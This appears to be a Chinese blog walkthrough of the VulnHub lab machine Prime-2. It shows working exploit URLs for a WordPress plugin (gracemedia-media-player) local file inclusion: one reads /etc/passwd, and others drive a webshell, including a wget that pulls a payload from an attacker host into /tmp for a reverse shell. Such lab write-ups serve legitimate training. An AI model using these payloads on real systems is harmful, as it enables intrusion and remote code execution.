vulnhub靶机Prime-2

下载地址:Prime (2021): 2 ~ VulnHub

主机发现

目标145

端口扫描

端口服务扫描

漏洞扫描

先去看一下80

扫目录

发现点不一样的

Wordpress(记住还是要用api)

好洞出来了看看利用方法

192.168.21.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

成了,这边没什么线索了。去另外一个web看看

看看文件一个一个看吧

在uploads里面

一句话木马

192.168.21.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home//jarves/upload/shell.php&cmd=whoami

反弹shell

http://192.168.21.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home//jarves/upload/shell.php&cmd=wget%20http://192.168.21.131:8000/1.php%20-O%20/tmp/1.php​编辑

192.168.21.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home//jarves/upload/shell.php&cmd=cat /tmp/1.php

写入成功

包含shell

192.168.21.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../tmp/1.php

Smb去看一下,一直没用,肯定有用

直接ssh密钥生成

远程登入

免密登入成功

啥也没有

构建

新的文件上传就可以

进容器

结束

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-17 02:00:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-17 02:00:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-17 02:00:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-17 02:00:03       20 阅读

热门阅读

  1. Unity项目里Log系统该怎么设计

    2023-12-17 02:00:03       30 阅读
  2. docker配置容器内访问主机服务

    2023-12-17 02:00:03       40 阅读
  3. axios+echarts

    2023-12-17 02:00:03       30 阅读
  4. react受控组件和非受控组件区别

    2023-12-17 02:00:03       37 阅读
  5. 大语言模型续写completions

    2023-12-17 02:00:03       40 阅读
  6. 数据库_mongoDB

    2023-12-17 02:00:03       35 阅读
  7. shell编程-sort命令详解(超详细)

    2023-12-17 02:00:03       38 阅读
  8. AI视频-stable-video-diffusio介绍

    2023-12-17 02:00:03       38 阅读